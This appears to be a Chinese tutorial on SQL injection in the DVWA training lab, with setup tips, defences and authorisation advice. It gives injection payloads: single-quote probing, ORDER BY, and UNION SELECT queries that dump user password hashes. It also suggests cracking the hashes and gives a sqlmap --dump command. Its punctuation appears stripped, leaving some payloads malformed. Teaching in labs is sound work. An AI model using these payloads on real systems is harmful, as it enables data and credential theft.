
1. 环境准备与基础配置第一次接触DVWA这个靶场时我花了一整个下午才把环境跑通。记得当时在Windows 10上装XAMPPApache服务死活起不来最后发现是443端口被占用了。所以建议新手直接用现成的虚拟机镜像比如Metasploitable或者OWASP BWA能省去80%的环境问题。DVWA的安装其实特别简单把源码包解压到web服务器目录就行。但有两个坑要注意一是php版本最好用5.x新版可能会有兼容性问题二是记得改config/config.inc.php里的数据库密码默认的pssw0rd太容易被猜到了。配置完成后访问http://localhost/dvwa用admin/password登录在Security页面把级别调到Low这个环节千万别跳过我见过好几个新手卡在这步。2. Low级别漏洞原理深度解析打开/vulnerabilities/sqli/source.php看源码你会发现这个漏洞简单得令人发指$id $_REQUEST[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;这种直接把用户输入拼接到SQL语句里的写法就像把家门钥匙插在锁上还贴张纸条欢迎来玩。我教学生时常用奶茶店做类比正常点单是珍珠奶茶少糖而SQL注入相当于对店员说珍珠奶茶少糖)DROP TABLE orders;--后面的恶意代码就会被执行。关键点在于单引号的闭合。当输入1时实际执行的SQL变成SELECT ... WHERE user_id 1多出来的单引号导致语法错误这就是我们判断注入点的依据。在MySQL中#号是注释符能帮我们截断后续语句。这些基础知识一定要吃透后面Medium/High级别的绕过都建立在这些原理上。3. 手把手注入实战全流程3.1 注入点探测与字段判断在输入框先试个单引号如果看到类似You have an error in your SQL syntax的报错恭喜你找到金矿了。接着用ORDER BY探测字段数这个操作就像试衣间找合身的衣服1 ORDER BY 2 # -- 正常 1 ORDER BY 3 # -- 报错说明原查询只返回2个字段。这里有个实用技巧用Burp Suite拦截请求修改参数比反复填表单方便多了特别是需要大量测试的时候。3.2 信息收集的艺术UNION SELECT就像给你的SQL查询开了上帝模式。先确定回显位1 UNION SELECT 1,2 #看到页面显示数字1和2的位置了吗这就是我们的数据展示窗口。接下来像剥洋葱一样层层获取信息数据库版本和名称1 UNION SELECT database(), version() #表名列表注意group_concat的妙用1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase() #users表的字段结构1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_nameusers #3.3 最终的数据收割当你知道users表有user和password字段后丰收的时刻就到了1 UNION SELECT user, password FROM users #看到那些MD5哈希了吗可以去cmd5.com试试破解不过现在稍微有点安全意识的人都会用加盐哈希了。记得2012年LinkedIn泄露事件吗就是因为直接用MD5存密码。4. 防御方案的实战建议PDO预处理语句是绝对的王道但很多老项目还在用mysql_connect这种过时函数。我参与过一个政府项目迁移把三百多处SQL查询改成PDO累到怀疑人生。如果非要拼接SQL至少做到$id mysqli_real_escape_string($conn, $_GET[id]);另外Web应用防火墙(WAF)规则要配置好比如过滤常见的union select、information_schema等关键词。但最根本的还是权限控制数据库用户只给SELECT权限别像某次渗透测试发现的应用居然用root账户连数据库...5. 自动化工具的双刃剑虽然手工注入能学原理但实际工作中sqlmap确实高效。分享个真实案例有次客户给的时间窗口只有2小时我这样快速扫描sqlmap -u http://target.com/vuln.php?id1 --risk3 --level5 --batch --dump但要注意sqlmap的--dump参数会自动尝试破解哈希这在未经授权的测试中属于越界行为。有次我忘了关这个参数结果把客户的生产数据库密码表给解密了差点造成安全事故。最后给新手的忠告永远先获取书面授权测试数据用完了立即删除。我电脑里有个授权书文件夹每次测试前都会把对应的授权书放在桌面提醒自己。技术是把双刃剑用得正能保一方平安用歪了就可能万劫不复。